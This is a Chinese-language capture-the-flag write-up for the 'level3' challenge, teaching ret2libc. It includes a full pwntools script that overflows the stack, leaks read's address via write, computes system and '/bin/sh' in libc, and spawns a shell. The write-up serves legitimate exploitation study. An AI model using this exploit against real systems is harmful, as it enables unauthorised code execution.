level3

题目来源 攻防世界

题目知识点:ret2libc

知识点讲解

ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

正文

使用checksec对题目进行分析发现如下,程序开启堆栈不可执行。

在后续分析中发现,程序逻辑很简单。只有一个简单的栈溢出点。

根据前面分析,堆栈不可执行,而且数据在栈上,所以放弃ret2shellcode方法。分析发现存在write函数。可以利用进行函数地址泄露。使用ret2libc方法。思路如下。

  • 1 使用栈溢出,执行write函数,泄露read函数地址

  • 2 计算read函数在libc中的偏移量

  • 3 返回到main函数,利用栈溢出执行system函数

    from pwn import *
    sh = process('./level3') #sh = remote('111.198.29.45',49067) libc = ELF('./libc_32.so.6') elf = ELF('./level3') sh.recvuntil('Input:\n') payload = 'a' * 0x88 + 'bbbb' + p32(0x8048340) + p32(elf.sym['main']) + p32(1) + p32(elf.got['read']) + p32(4) sh.sendline(payload) read_addr = u32(sh.recv()[:4]) log.success('read_addr is: ' + hex(read_addr)) libc_base = read_addr - libc.symbols['read'] system_addr = libc_base + libc.symbols['system'] log.success('system_addr is: ' + hex(system_addr)) binsh_addr = libc_base + next(libc.search('/bin/sh')) log.success('str_addr: ' + hex(binsh_addr)) payload = 'a' * 0x88 + 'bbbb' + p32(system_addr) + 'cccc' + p32(binsh_addr) sh.recvuntil(':\n') sh.sendline(payload) sh.interactive() 

    疑难解答

  • 本次泄露函数使用write函数进行,需要了解write函数原型,从而在栈上构造相应参数。

  • 使用write函数泄露函数地址之后,需要再次返回到main函数地址,因为需要再次溢出,执行system函数。

猜你喜欢

转载自www.cnblogs.com/0x1633/p/12160324.html